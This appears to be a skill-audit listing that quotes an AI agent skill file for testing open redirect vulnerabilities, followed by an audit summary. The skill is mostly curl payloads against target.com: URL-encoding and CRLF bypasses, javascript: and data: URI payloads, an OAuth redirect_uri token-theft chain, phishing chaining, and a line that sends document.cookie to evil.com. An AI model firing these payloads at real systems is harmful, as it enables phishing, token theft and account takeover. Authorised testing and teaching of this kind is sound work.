Testing For Open Redirect VulnerabilitiesCAUTION

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The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: testing-for-open-redirect-vulnerabilities
description: Identifies and exploits open redirect vulnerabilities by analyzing URL
  redirection parameters (next, url, redirect, return, goto), applying bypass techniques,
  and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP
  and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling,
  or SSO redirect validation.
domain: cybersecurity
subdomain: web-application-security
tags:
- open-redirect
- url-redirect
- phishing
- owasp
- url-validation
- redirect-bypass
- unvalidated-redirect
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1566
---

# Testing for Open Redirect Vulnerabilities

## When to Use
- When testing login/logout flows that redirect users to specified URLs
- During assessment of OAuth authorization endpoints with redirect_uri parameters
- When auditing applications with URL parameters (next, url, redirect, return, goto, target)
- During phishing simulation to chain open redirects with credential harvesting
- When testing SSO implementations for redirect validation weaknesses

## Prerequisites
- Burp Suite or OWASP ZAP for intercepting redirect requests
- Collection of open redirect bypass payloads
- External domain or Burp Collaborator for redirect confirmation
- Understanding of URL parsing and encoding schemes
- Browser with developer tools for observing redirect chains
- Knowledge of HTTP 301/302/303/307/308 redirect status codes


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Redirect Parameters
```bash
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
```

### Step 2 — Test Basic Open Redirect Payloads
```bash
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
```

### Step 3 — Apply Validation Bypass Techniques
```bash
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
```

### Step 4 — Test Path-Based Redirects
```bash
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
```

### Step 5 — Chain with Other Vulnerabilities
```bash
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
```

### Step 6 — Automate Open Redirect Testing
```bash
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redi

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

What the source does

Filesystem

none-observed

Network

declared (1 observation(s))

Shell

none-observed

Dependencies

pinned

Secrets in source

none-found

Findings (1)

- During phishing simulation to chain open redirects with credential harvesting

Gates applied: no_behavioural_pass.